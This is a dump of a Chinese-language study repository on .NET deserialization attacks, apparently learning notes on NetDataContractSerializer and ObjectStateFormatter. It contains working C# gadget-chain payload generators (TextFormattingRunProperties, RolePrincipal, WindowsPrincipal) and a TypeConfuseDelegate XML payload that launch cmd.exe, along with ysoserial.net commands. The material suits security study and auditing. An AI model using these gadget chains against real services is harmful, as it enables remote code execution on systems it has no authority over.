TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) 123 | { 124 | } 125 | string _xaml; 126 | public void GetObjectData(SerializationInfo info, StreamingContext context) 127 | { 128 | Type typeTFRP = typeof(TextFormattingRunProperties); 129 | info.SetType(typeTFRP); 130 | info.AddValue("ForegroundBrush", _xaml); 131 | } 132 | public TextFormattingRunPropertiesMarshal(string cmd) 133 | { 134 | _xaml = gadget(cmd); 135 | } 136 | public TextFormattingRunPropertiesMarshal() 137 | { 138 | _xaml = gadget("calc"); 139 | } 140 | } 141 | } 142 | ``` 143 | 144 | 比yso的要简洁一些。当然这个攻击链限制仍然在于TextFormattingRunProperties 145 | 146 | # 后文 147 | 148 | 可以使用TypeConfuseDelegate替换TextFormattingRunProperties。 -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210510092602900.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210510092602900.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511101053938.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511101053938.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511101218983.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511101218983.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511101408109.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511101408109.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511101835362.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511101835362.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511102405238.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511102405238.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511102539282.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511102539282.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511102733386.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511102733386.png -------------------------------------------------------------------------------- /NetDataContractSerializer.assets/image-20210511103441890.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/NetDataContractSerializer.assets/image-20210511103441890.png -------------------------------------------------------------------------------- /NetDataContractSerializer.md: -------------------------------------------------------------------------------- 1 | # NetDataContractSerializer 2 | 3 | NetDataContractSerializer和DataContractSerializer同样用于序列化和反序列化 Windows Communication Foundation (WCF) 消息中发送的数据。 4 | 5 | 两者有一个重要的区别在于:[NetDataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8) 在序列化的 XML 中包含 CLR 类型信息;而 [DataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.datacontractserializer?view=netframework-4.8) 不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 [NetDataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8)。 6 | 7 | NetDataContractSerializer不仅可以对已应用 [DataContractAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.datacontractattribute?view=netframework-4.8) 或 [SerializableAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.serializableattribute?view=netframework-4.8) 属性的类型进行序列化。 它还可以对用于实现 [ISerializable](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.iserializable?view=netframework-4.8) 的类型进行序列化。 8 | 9 | 该类同样位于[System.Runtime.Serialization](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization?view=netframework-4.8)命名空间,实现XmlObjectSerializer和IFormatter接口,并有多个构造函数重载和序列化、反序列化重载。 10 | 11 | ![image-20210510092602900](NetDataContractSerializer.assets/image-20210510092602900.png) 12 | 13 | # demo 14 | 15 | 微软官方文档给出了demo 16 | 17 | ```csharp 18 | using System; 19 | using System.IO; 20 | using System.Runtime.Serialization; 21 | using System.Xml; 22 | 23 | namespace NetDataContractDeserialize 24 | { 25 | // You must apply a DataContractAttribute or SerializableAttribute 26 | // to a class to have it serialized by the NetDataContractSerializer. 27 | [DataContract(Name = "Customer", Namespace = "http://www.contoso.com")] 28 | class Person : IExtensibleDataObject 29 | { 30 | [DataMember()] 31 | public string FirstName; 32 | [DataMember] 33 | public string LastName; 34 | [DataMember()] 35 | public int ID; 36 | 37 | public Person(string newfName, string newLName, int newID) 38 | { 39 | FirstName = newfName; 40 | LastName = newLName; 41 | ID = newID; 42 | } 43 | 44 | private ExtensionDataObject extensionData_Value; 45 | 46 | public ExtensionDataObject ExtensionData 47 | { 48 | get 49 | { 50 | return extensionData_Value; 51 | } 52 | set 53 | { 54 | extensionData_Value = value; 55 | } 56 | } 57 | } 58 | 59 | public sealed class Test 60 | { 61 | private Test() { } 62 | 63 | public static void Main() 64 | { 65 | try 66 | { 67 | WriteObject("NetDataContractSerializerExample.xml"); 68 | ReadObject("NetDataContractSerializerExample.xml"); 69 | } 70 | 71 | catch (SerializationException serExc) 72 | { 73 | Console.WriteLine("Serialization Failed"); 74 | Console.WriteLine(serExc.Message); 75 | } 76 | catch (Exception exc) 77 | { 78 | Console.WriteLine( 79 | "The serialization operation failed: {0} StackTrace: {1}", 80 | exc.Message, exc.StackTrace); 81 | } 82 | 83 | finally 84 | { 85 | Console.WriteLine("Press to exit...."); 86 | Console.ReadLine(); 87 | } 88 | } 89 | 90 | public static void WriteObject(string fileName) 91 | { 92 | Console.WriteLine( 93 | "Creating a Person object and serializing it."); 94 | Person p1 = new Person("Zighetti", "Barbara", 101); 95 | FileStream fs = new FileStream(fileName, FileMode.Create); 96 | XmlDictionaryWriter writer = XmlDictionaryWriter.CreateTextWriter(fs); 97 | NetDataContractSerializer ser = 98 | new NetDataContractSerializer(); 99 | ser.WriteObject(writer, p1); 100 | writer.Close(); 101 | } 102 | 103 | public static void ReadObject(string fileName) 104 | { 105 | Console.WriteLine("Deserializing an instance of the object."); 106 | FileStream fs = new FileStream(fileName, 107 | FileMode.Open); 108 | XmlDictionaryReader reader = 109 | XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas()); 110 | NetDataContractSerializer ser = new NetDataContractSerializer(); 111 | 112 | // Deserialize the data and read it from the instance. 113 | Person deserializedPerson = 114 | (Person)ser.ReadObject(reader, true); 115 | fs.Close(); 116 | Console.WriteLine(String.Format("{0} {1}, ID: {2}", 117 | deserializedPerson.FirstName, deserializedPerson.LastName, 118 | deserializedPerson.ID)); 119 | } 120 | } 121 | } 122 | ``` 123 | 124 | 生成的xml如下 125 | 126 | ```xml 127 | Zighetti101Barbara 128 | ``` 129 | 130 | 可见指定Person类的Name为Customer之后,生成的xml中Customer有一个属性`z:Assembly="NetDataContractSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"`存储了clr类型。只有序列化和反序列化的两端都有这个类型时,才能使用NetDataContractSerializer。 131 | 132 | # 攻击链 133 | 134 | 在yso中有多个攻击链适用于NetDataContractSerializer,比如:ActivitySurrogateDisableTypeCheck、AxHostState、PSObject等等。 135 | 136 | ## PSObject 137 | 138 | 其中PSObject有严格的限制:Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)。该漏洞在2017年7月11日发了补丁。 139 | 140 | 使用ysoserial.net自带的测试参数-t,`ysoserial.exe -f NetDataContractSerializer -g PSObject -t -c calc`来进行调试,堆栈如图 141 | 142 | ![image-20210511101053938](NetDataContractSerializer.assets/image-20210511101053938.png) 143 | 144 | 其反序列化函数中读取CliXml值进行反序列化 145 | 146 | ![image-20210511101218983](NetDataContractSerializer.assets/image-20210511101218983.png) 147 | 148 | 经过多次调用后 149 | 150 | - PSDeserializer.DeserializeAsList() 151 | - System.management.automation.Deserializer.Deserialize() 152 | - System.Management.Automation.InternalDeserializer.ReadOneObject() 153 | 154 | 当对象为CimInstance实例时 155 | 156 | ![image-20210511101408109](NetDataContractSerializer.assets/image-20210511101408109.png) 157 | 会继续调用 158 | 159 | - System.Management.Automation.InternalDeserializer.RehydrateCimInstance() 160 | - System.Management.Automation.InternalDeserializer.RehydrateCimInstanceProperty() 161 | 162 | 在RehydrateCimInstanceProperty中下图标红的一行type可控。type取决于text2,text2取决于psobject,psobject取决于obj,obj取决于传入的deserializedProperty 163 | 164 | `object obj = deserializedProperty.Value;` 165 | 166 | ![image-20210511101835362](NetDataContractSerializer.assets/image-20210511101835362.png) 167 | 168 | type可控,继续执行到ConvertEnumerableToArray 169 | 170 | ![image-20210511102405238](NetDataContractSerializer.assets/image-20210511102405238.png) 171 | 172 | 获取传入的每个元素并通过LanguagePrimitives.ConvertTo()将其转为ElementType,LanguagePrimitives.ConvertTo继续调用LanguagePrimitives.FigureConversion 173 | 174 | ![image-20210511102539282](NetDataContractSerializer.assets/image-20210511102539282.png) 175 | 176 | FigureConversion尝试寻找类型对应的反序列化方法 177 | 178 | ![image-20210511102733386](NetDataContractSerializer.assets/image-20210511102733386.png) 179 | 180 | 然后继续进入LanguagePrimitives.FigureConversion(fromType, resultType)转换类型,在FigureConversion中会调用LanguagePrimitives.FigureParseConversion(fromType, toType) 181 | 182 | ![image-20210511103441890](NetDataContractSerializer.assets/image-20210511103441890.png) 183 | 184 | 而在FigureParseConversion中 185 | 186 | ```csharp 187 | private static LanguagePrimitives.PSConverter FigureParseConversion(Type fromType, Type toType) 188 | { 189 | if (toType.IsEnum) 190 | { 191 | if (fromType.Equals(typeof(string))) 192 | { 193 | return new LanguagePrimitives.PSConverter(LanguagePrimitives.ConvertStringToEnum); 194 | } 195 | if (LanguagePrimitives.IsTypeEnumerable(fromType)) 196 | { 197 | return new LanguagePrimitives.PSConverter(LanguagePrimitives.ConvertEnumerableToEnum); 198 | } 199 | } 200 | else if (fromType.Equals(typeof(string))) 201 | { 202 | BindingFlags bindingAttr = BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod; 203 | MethodInfo methodInfo = null; 204 | try 205 | { 206 | methodInfo = toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string), typeof(IFormatProvider) }, null); 207 | } 208 | catch (AmbiguousMatchException ex) 209 | { 210 | LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", new object[] { ex.Message }); 211 | } 212 | catch (ArgumentException ex2) 213 | { 214 | LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", new object[] { ex2.Message }); 215 | } 216 | if (methodInfo != null) 217 | { 218 | return new LanguagePrimitives.PSConverter(new LanguagePrimitives.ConvertViaParseMethod { parse = methodInfo }.ConvertWithCulture); 219 | } 220 | try 221 | { 222 | // 这里可以XamlReader.Parse 223 | methodInfo = toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string) }, null); 224 | } 225 | catch (AmbiguousMatchException ex3) 226 | { 227 | LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", new object[] { ex3.Message }); 228 | } 229 | catch (ArgumentException ex4) 230 | { 231 | LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", new object[] { ex4.Message }); 232 | } 233 | if (methodInfo != null) 234 | { 235 | return new LanguagePrimitives.PSConverter(new LanguagePrimitives.ConvertViaParseMethod { parse = methodInfo }.ConvertWithoutCulture); 236 | } 237 | } 238 | return null; 239 | } 240 | ``` 241 | 242 | 在`toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string) }, null)`可以XamlReader.Parse()触发rce。 243 | 244 | ## TypeConfuseDelegate 245 | 246 | ```xml 247 | 2<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089CompareSystem.StringSystem.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]StartSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Diagnostics.ProcessSystem.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]System.Diagnostics.Process Start(System.String, System.String)System.Diagnostics.Process Start(System.String, System.String)8Int32 Compare(System.String, System.String)System.Int32 Compare(System.String, System.String)82/c calccmd 248 | ``` 249 | 250 | 反序列化代码 251 | 252 | ```csharp 253 | using System.IO; 254 | using System.Runtime.Serialization; 255 | using System.Xml; 256 | 257 | namespace NetDataContractDeserialize 258 | { 259 | public class Program 260 | { 261 | public static void Main() 262 | { 263 | FileStream fs = new FileStream("1.xml", FileMode.Open); 264 | XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas()); 265 | NetDataContractSerializer ser = new NetDataContractSerializer(); 266 | ser.ReadObject(reader, true); 267 | fs.Close(); 268 | } 269 | } 270 | } 271 | ``` 272 | 273 | # 审计 274 | 275 | 关注NetDataContractSerializer传入xml的内容是否可控,以及在上文中DataContractSerializer同理的DataContractResolver自定义类型解析器对于type的处理。还有就是构造函数的IDataContractSurrogate参数,关注其实现。**这个在DataContractJsonSerializer一节中讲解,本文不讲。** 276 | 277 | # 后文 278 | 279 | 本文讲解了NetDataContractSerializer的序列化和反序列化,以及PSObject利用链。 280 | 281 | -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428094113082.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428094113082.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101120691.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101120691.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101458609.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101458609.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101541812.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101541812.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101624306.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101624306.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101654838.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101654838.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210428101802104.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210428101802104.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210507105715422.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210507105715422.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210507110155824.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210507110155824.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210508091951491.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210508091951491.png -------------------------------------------------------------------------------- /ObjectStateFormatter.assets/image-20210508092544937.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/ObjectStateFormatter.assets/image-20210508092544937.png -------------------------------------------------------------------------------- /ObjectStateFormatter.md: -------------------------------------------------------------------------------- 1 | # ObjectStateFormatter 2 | 3 | ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。 4 | 5 | 微软官方文档指出: 6 | 7 | > [ObjectStateFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8) is used by the [PageStatePersister](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8) class and classes that derive from it to serialize view state and control state. It is also used by the [LosFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8) class to provide object state graph formatting for various parts of the ASP.NET infrastructure. 8 | 9 | [PageStatePersister](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8)类和[从其派生的](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8)类使用[ObjectStateFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8)来序列化视图状态和控件状态。[LosFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)类还使用它为ASP.NET基础结构的各个部分提供对象状态图格式。可见ObjectStateFormatter是LosFormatter的底层实现,而在ysoserial.net工具中并没有这个formatter,原因是因为在ysoserial.net工具中有这样一句话: 10 | 11 | > We don't actually need to use ObjectStateFormatter in ysoserial.net because it is the same as LosFormatter without MAC/keys 12 | 13 | 即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key。 14 | 15 | # 序列化和反序列化 16 | 17 | 构造方法只有一个无参构造,反序列化方法同样支持直接反序列化字符串,和LosFormatter差不多,不再赘述。 18 | 19 | ![image-20210428094113082](ObjectStateFormatter.assets/image-20210428094113082.png) 20 | 21 | # 攻击链 22 | 23 | 针对前文中多个ClaimsIdentity及其拓展的攻击链,本文继续讲解RolePrincipal、WindowsPrincipal。 24 | 25 | ## RolePrincipal 26 | 27 | 先看ysoserial.net中的payload构造 28 | 29 | ![image-20210428101120691](ObjectStateFormatter.assets/image-20210428101120691.png) 30 | 31 | 其中B64Payload存放的是TextFormattingRunPropertiesGenerator通过base64之后BinaryFormatter序列化的数据。 32 | 33 | RolePrincipal类继承ClaimsPrincipal。在RolePrincipal的反序列化构造方法中 34 | 35 | ![image-20210428101458609](ObjectStateFormatter.assets/image-20210428101458609.png) 36 | 37 | 调用父类的Identities字段 38 | 39 | ![image-20210428101541812](ObjectStateFormatter.assets/image-20210428101541812.png) 40 | 41 | 该字段在父类反序列化时进行赋值,看父类的反序列化构造方法 42 | 43 | ![image-20210428101624306](ObjectStateFormatter.assets/image-20210428101624306.png) 44 | 45 | 调用Deserialize(),跟进 46 | 47 | ![image-20210428101654838](ObjectStateFormatter.assets/image-20210428101654838.png) 48 | 49 | 枚举info,如果键名为`System.Security.ClaimsPrincipal.Identities`时进入`this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"))` 50 | 51 | ![image-20210428101802104](ObjectStateFormatter.assets/image-20210428101802104.png) 52 | 53 | 将info.GetString("System.Security.ClaimsPrincipal.Identities")的base64值转byte[]数组通过binaryformatter直接反序列化。由此造成RCE。 54 | 55 | 整个链:父类在反序列化构造时将`info.GetString("System.Security.ClaimsPrincipal.Identities")`取出的值base64转byte数组之后直接反序列化造成RCE。 56 | 57 | 自己尝试构造payload 58 | 59 | ```csharp 60 | using Microsoft.VisualStudio.Text.Formatting; 61 | using System; 62 | using System.Collections.Generic; 63 | using System.Collections.Specialized; 64 | using System.Diagnostics; 65 | using System.IO; 66 | using System.Linq; 67 | using System.Reflection; 68 | using System.Runtime.Serialization; 69 | using System.Runtime.Serialization.Formatters.Binary; 70 | using System.Security.Claims; 71 | using System.Text; 72 | using System.Threading.Tasks; 73 | using System.Web.UI; 74 | using System.Windows.Data; 75 | using System.Windows.Markup; 76 | 77 | namespace ObjectStateFormatterSerialize 78 | { 79 | class Program 80 | { 81 | static void Main(string[] args) 82 | { 83 | TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc"); 84 | string b64payload; 85 | using (MemoryStream m = new MemoryStream()) 86 | { 87 | BinaryFormatter binaryFormatter = new BinaryFormatter(); 88 | binaryFormatter.Serialize(m, calc); 89 | b64payload = Convert.ToBase64String(m.ToArray()); 90 | } 91 | RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload); 92 | ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter(); 93 | string p = objectStateFormatter.Serialize(rolePrincipalMarshal); 94 | objectStateFormatter.Deserialize(p); 95 | } 96 | 97 | 98 | } 99 | [Serializable] 100 | public class RolePrincipalMarshal : ISerializable 101 | { 102 | public RolePrincipalMarshal(string b64payload) 103 | { 104 | B64Payload = b64payload; 105 | } 106 | 107 | private string B64Payload { get; } 108 | 109 | public void GetObjectData(SerializationInfo info, StreamingContext context) 110 | { 111 | info.SetType(typeof(System.Web.Security.RolePrincipal)); 112 | info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload); 113 | } 114 | } 115 | [Serializable] 116 | public class TextFormattingRunPropertiesMarshal : ISerializable 117 | { 118 | protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) 119 | { 120 | } 121 | string _xaml; 122 | public void GetObjectData(SerializationInfo info, StreamingContext context) 123 | { 124 | Type typeTFRP = typeof(TextFormattingRunProperties); 125 | info.SetType(typeTFRP); 126 | info.AddValue("ForegroundBrush", _xaml); 127 | } 128 | public TextFormattingRunPropertiesMarshal(string cmd) 129 | { 130 | // ObjectDataProvider 131 | ProcessStartInfo psi = new ProcessStartInfo(); 132 | psi.FileName = "cmd.exe"; 133 | psi.Arguments = $"/c {cmd}"; 134 | StringDictionary dict = new StringDictionary(); 135 | psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); 136 | Process p = new Process(); 137 | p.StartInfo = psi; 138 | ObjectDataProvider odp = new ObjectDataProvider(); 139 | odp.MethodName = "Start"; 140 | odp.IsInitialLoadEnabled = false; 141 | odp.ObjectInstance = p; 142 | _xaml = XamlWriter.Save(odp); 143 | } 144 | } 145 | } 146 | ``` 147 | 148 | 运行后弹出calc。 149 | 150 | ## WindowsPrincipal 151 | 152 | 对于WindowsPrincipal的构造就两行代码 153 | 154 | ![image-20210507105715422](ObjectStateFormatter.assets/image-20210507105715422.png) 155 | 156 | 在generate的时候 157 | 158 | ![image-20210507110155824](ObjectStateFormatter.assets/image-20210507110155824.png) 159 | 160 | 新建了一个WindowsIdentity实例,其Actor字段的BootstrapContext值赋值为TextFormattingRunPropertiesGadget的payload。看到BootstrapContext就知道是ClaimsIdentity gadget的又一次利用。自己构造payload 161 | 162 | ```csharp 163 | using Microsoft.VisualStudio.Text.Formatting; 164 | using System; 165 | using System.Collections.Specialized; 166 | using System.Diagnostics; 167 | using System.Reflection; 168 | using System.Runtime.Serialization; 169 | using System.Security.Claims; 170 | using System.Security.Principal; 171 | using System.Web.UI; 172 | using System.Windows.Data; 173 | using System.Windows.Markup; 174 | 175 | namespace ObjectStateFormatterSerialize 176 | { 177 | class Program 178 | { 179 | static void Main(string[] args) 180 | { 181 | WindowsIdentity currentWI = WindowsIdentity.GetCurrent(); 182 | currentWI.Actor = new ClaimsIdentity(); 183 | currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc"); 184 | WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal(); 185 | obj.wi = currentWI; 186 | string v = new ObjectStateFormatter().Serialize(obj); 187 | new ObjectStateFormatter().Deserialize(v); 188 | } 189 | 190 | 191 | } 192 | [Serializable] 193 | public class WindowsPrincipalMarshal : ISerializable 194 | { 195 | public WindowsPrincipalMarshal() { } 196 | public WindowsIdentity wi { get; set; } 197 | public void GetObjectData(SerializationInfo info, StreamingContext context) 198 | { 199 | info.SetType(typeof(WindowsPrincipal)); 200 | info.AddValue("m_identity", wi); 201 | } 202 | } 203 | 204 | [Serializable] 205 | public class TextFormattingRunPropertiesMarshal : ISerializable 206 | { 207 | protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) 208 | { 209 | } 210 | string _xaml; 211 | public void GetObjectData(SerializationInfo info, StreamingContext context) 212 | { 213 | Type typeTFRP = typeof(TextFormattingRunProperties); 214 | info.SetType(typeTFRP); 215 | info.AddValue("ForegroundBrush", _xaml); 216 | } 217 | public TextFormattingRunPropertiesMarshal(string cmd) 218 | { 219 | // ObjectDataProvider 220 | ProcessStartInfo psi = new ProcessStartInfo(); 221 | psi.FileName = "cmd.exe"; 222 | psi.Arguments = $"/c {cmd}"; 223 | StringDictionary dict = new StringDictionary(); 224 | psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); 225 | Process p = new Process(); 226 | p.StartInfo = psi; 227 | ObjectDataProvider odp = new ObjectDataProvider(); 228 | odp.MethodName = "Start"; 229 | odp.IsInitialLoadEnabled = false; 230 | odp.ObjectInstance = p; 231 | _xaml = XamlWriter.Save(odp); 232 | } 233 | } 234 | } 235 | ``` 236 | 237 | WindowsPrincipal类有一个字段类型为WindowsIdentity 238 | 239 | ![image-20210508091951491](ObjectStateFormatter.assets/image-20210508091951491.png) 240 | 241 | 而前文中讲过WindowsIdentity的bootstrapContext字段可反序列化RCE。所以payload构造可以更简单些: 242 | 243 | ```csharp 244 | class Program 245 | { 246 | static void Main(string[] args) 247 | { 248 | WindowsIdentity currentWI = WindowsIdentity.GetCurrent(); 249 | currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc"); 250 | WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal(); 251 | obj.wi = currentWI; 252 | string v = new ObjectStateFormatter().Serialize(obj); 253 | new ObjectStateFormatter().Deserialize(v); 254 | } 255 | } 256 | ``` 257 | 258 | 259 | 260 | 堆栈 261 | 262 | ![image-20210508092544937](ObjectStateFormatter.assets/image-20210508092544937.png) 263 | 264 | 可见在反序列化重建对象时,填充类型为WindowsIdentity的m_identity字段时触发了其父类的反序列化,从而反序列化bootstrapContext。 265 | 266 | 在GetObjectData中 267 | 268 | ```csharp 269 | [Serializable] 270 | public class WindowsPrincipalMarshal : ISerializable 271 | { 272 | public WindowsPrincipalMarshal() { } 273 | public WindowsIdentity wi { get; set; } 274 | public void GetObjectData(SerializationInfo info, StreamingContext context) 275 | { 276 | info.SetType(typeof(WindowsPrincipal)); 277 | info.AddValue("m_identity", wi); 278 | } 279 | } 280 | ``` 281 | 282 | m_identity可以改成随便的字符串,因为在info中,value对象被序列化存储,在反序列化时,info重建其value会自动反序列化。 283 | 284 | # 后文 285 | 286 | 本文讲解了RolePrincipal、WindowsPrincipal攻击链。RolePrincipal是对ClaimsPrincipal的继承利用,WindowsPrincipal是套娃WindowsIdentity,本质还是通过ClaimsIdentity利用。 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](./logo.png) 2 | # dotnet deserialization 3 | 4 | 本系列是笔者从0到1对dotnet反序列化进行系统学习的笔记,其中涉及官方的反序列化formatter和第三方库的反序列化组件(如Json.net等),其中穿插一些ysoserial.net的使用及原理,以及一些dotnet的知识点。 5 | 6 | 笔者也是初入茅庐,如果文章表述或讲解有错,请不吝赐教。 7 | 8 | **所有文章均首发先知社区 https://xz.aliyun.com/u/12258** 9 | 10 | # 参考 11 | 12 | 全系列文章参考以下内容 13 | 14 | 1. [ysoserial.net](https://github.com/pwntester/ysoserial.net) 15 | 2. [docs.microsoft.com](https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/) 16 | 3. https://github.com/Ivan1ee/NET-Deserialize 17 | 18 | 